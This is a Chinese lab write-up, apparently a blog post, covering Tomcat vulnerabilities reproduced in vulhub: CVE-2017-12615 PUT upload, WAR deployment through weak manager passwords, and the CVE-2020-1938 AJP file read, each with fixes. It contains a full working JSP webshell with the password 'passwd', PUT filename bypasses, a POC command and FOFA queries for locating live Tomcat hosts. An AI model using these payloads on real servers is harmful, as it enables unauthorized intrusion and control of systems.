Tomcat 漏洞

Tomcat

tomcat是一个开源而且免费的jsp服务器,默认端口:8080,它可以实现JavaWeb程序的装载,是配置JSP(Java Server Page)和JAVA系统必备的一款环境。

1.1 CVE-2017-12615

Tomcat put方法任意文件写入漏洞

环境搭建
cd vulhub/tomcat/CVE-2017-12615
vi docker-compose.yml  // 配置版本端口  -----端口8080
docker-compose up -d
漏洞复现

打开网页

image-20240806134519546

Tomcat允许适⽤put⽅法上传任意⽂件类型,但不允许jsp后缀⽂件上传,因此我们需要配合 windows的 解析漏洞.

PUT /shell.jsp%20 
PUT /shell.jsp::$DATA
PUT /shell.jsp/

抓包,请求体写jsp木马,请求方式改成PUT

image-20240806134416590

jsp木马----密码:passwd

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

漏洞修复

设置readonly 为 true

1.2 后台弱⼝令部署war包

漏洞原理

在tomcat8环境下默认进⼊后台的密码为 tomcat/tomcat ,未修改造成未授权即可进⼊后台,或者管 理员把密码设置成弱⼝令。

影响版本

全版本(前提是⼈家存在弱⼝令)

环境搭建
cd vulhub/tomcat/tomcat8
docker-compose up -d

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

漏洞复现

image-20240806101919648

image-20240806191645812

image-20240806191252458

1.制作war包

用冰蝎生成jsp木马—>压缩到zip中—>改后缀名为.war

image-20240806184231831

image-20240806184302305

image-20240806191204297

  1. ⽂件上传成功后,默认会在⽹站根⽬录下⽣成和war包名称⼀致得⽬录,然后⽬录中得🐎就是压缩前的⽂件名
  2. image-20240806191617899

image-20240806191555201

漏洞修复
  1. 设置强⼝令
  2. 删除manger⽂件

1.3 CVE-2020-1938

Tomcat⽂件包含漏洞

漏洞原理

由于Tomcat AJP协议设计上的缺陷,攻击者通过Tomcat AJP Connector 可以读取或包含Tomcat上所有Webapp⽬录下的任意⽂件。

影响版本

Apache Tomcat 6

Tomcat 7系列 <7.0.100

Tomcat 8系列 < 8.5.51

Tomcat 9 系列 <9.0.31

环境搭建
cd vulhub-master/tomcat/CVE-2020-1938 
vi docker-compose.yml 
docker-compose up -d

image-20240806192402932

漏洞复现

tomcat默认的conf/server.xml中配置了2个Connector,⼀个为 8080 的对外提供的HTTP协议端⼝, 另外⼀个就是默认的 8009 AJP协议端⼝,两个端⼝默认均监听在外⽹ip。

image-20240806192643723

POC:

python2 "Tomcat-ROOT路径下文件读取(CVE-2020-1938).py" -p 8009 -f /WEB-INF/web.xml  靶机IP

image-20240806193416988

漏洞修复
  1. 更新到最新版本

  2. 关闭AJP服务,修改Tomcat配置⽂件Service.xml,注释掉。

    1. <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
      
  3. 配置ajp配置中的secretRequired跟secret属性来限制认证。

1.4 实战挖洞

fofa
app="tomcat"
server="Apache Tomcat" && body="Apache Tomcat"

识别:如果给你⼀个⽹站你怎么判断它使⽤了tomcat这个中间件呢

默认端⼝ 8080 
浏览器的指纹识别插件
默认管理路由 /manage/html
server头 Apache Tomcat
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值